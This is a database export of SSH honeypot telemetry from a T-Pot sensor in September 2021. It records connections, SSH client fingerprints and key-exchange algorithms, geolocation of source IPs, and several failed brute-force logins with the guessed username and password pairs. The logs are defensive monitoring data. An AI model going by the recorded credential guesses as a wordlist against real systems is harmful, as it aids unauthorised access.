24626	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:08:59.946358+03	2021-09-20 14:15:09.041502+03	{"_id": "2wblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "d0f4216f9eca", "@version": "1", "timestamp": "2021-09-20T11:08:59.946358Z", "@timestamp": "2021-09-20T11:08:59.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24627	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:00.078031+03	2021-09-20 14:15:09.0425+03	{"_id": "3AblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "48228b0a83c1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:00.078031Z", "@timestamp": "2021-09-20T11:09:00.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24628	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:00.147615+03	2021-09-20 14:15:09.0435+03	{"_id": "3QblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "941036954566", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:00.147615Z", "@timestamp": "2021-09-20T11:09:00.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24629	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:00.908602+03	2021-09-20 14:15:09.0455+03	{"_id": "3gblAnwBvYTbRNuEGRQ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 76108628899405, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56278, "dest_port": 22, "timestamp": "2021-09-20T11:09:00.908602Z", "@timestamp": "2021-09-20T11:09:00.908Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24630	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:00.243807+03	2021-09-20 14:15:09.0465+03	{"_id": "4QblAnwBvYTbRNuEGhQ0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41676, "timestamp": "2021-09-20T11:09:00.243807", "@timestamp": "2021-09-20T11:09:00.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24631	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:59.585467+03	2021-09-20 14:15:09.0485+03	{"_id": "2QblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "30dc33486cbf", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:59.585467Z", "@timestamp": "2021-09-20T11:08:59.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24632	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:09:00.170682+03	2021-09-20 14:15:09.0495+03	{"_id": "zQblAnwBvYTbRNuEFhTo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [yq/123456] failed", "session": "e8e37dd02033", "@version": "1", "password": "123456", "username": "yq", "timestamp": "2021-09-20T11:09:00.170682Z", "@timestamp": "2021-09-20T11:09:00.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24633	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:00.243646+03	2021-09-20 14:15:09.0505+03	{"_id": "3wblAnwBvYTbRNuEGRQ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1089875529663438, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41676, "dest_port": 22, "timestamp": "2021-09-20T11:09:00.243646Z", "@timestamp": "2021-09-20T11:09:00.243Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24634	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:00.419453+03	2021-09-20 14:15:09.0515+03	{"_id": "4AblAnwBvYTbRNuEGRQ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 81294801981850, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51558, "dest_port": 22, "timestamp": "2021-09-20T11:09:00.419453Z", "@timestamp": "2021-09-20T11:09:00.419Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24635	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:00.419576+03	2021-09-20 14:15:09.053471+03	{"_id": "4gblAnwBvYTbRNuEGhQ0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51558, "dest_port": 22, "timestamp": "2021-09-20T11:09:00.419576", "@timestamp": "2021-09-20T11:09:00.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24651	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:02.05073+03	2021-09-20 14:15:09.072499+03	{"_id": "-AblAnwBvYTbRNuEHhS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:36182 (192.168.176.2:22) [session: 68579d5a0ba7]", "session": "68579d5a0ba7", "@version": "1", "protocol": "ssh", "src_port": 36182, "dest_port": 22, "timestamp": "2021-09-20T11:09:02.050730Z", "@timestamp": "2021-09-20T11:09:02.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24636	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:02.570329+03	2021-09-20 14:15:09.054509+03	{"_id": "CAblAnwBvYTbRNuEIhWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "68579d5a0ba7", "@version": "1", "timestamp": "2021-09-20T11:09:02.570329Z", "@timestamp": "2021-09-20T11:09:02.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24637	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:09:02.637852+03	2021-09-20 14:15:09.0555+03	{"_id": "CQblAnwBvYTbRNuEIhWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qazxsw23] failed", "session": "d0f4216f9eca", "@version": "1", "password": "1qazxsw23", "username": "root", "timestamp": "2021-09-20T11:09:02.637852Z", "@timestamp": "2021-09-20T11:09:02.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24638	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.033764+03	2021-09-20 14:15:09.056507+03	{"_id": "EgblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37040 (192.168.176.2:22) [session: 17ec16fb3036]", "session": "17ec16fb3036", "@version": "1", "protocol": "ssh", "src_port": 37040, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.033764Z", "@timestamp": "2021-09-20T11:09:04.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24639	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.376225+03	2021-09-20 14:15:09.058507+03	{"_id": "IwblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38578 (192.168.176.2:22) [session: 03c2f1d780f7]", "session": "03c2f1d780f7", "@version": "1", "protocol": "ssh", "src_port": 38578, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.376225Z", "@timestamp": "2021-09-20T11:09:04.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
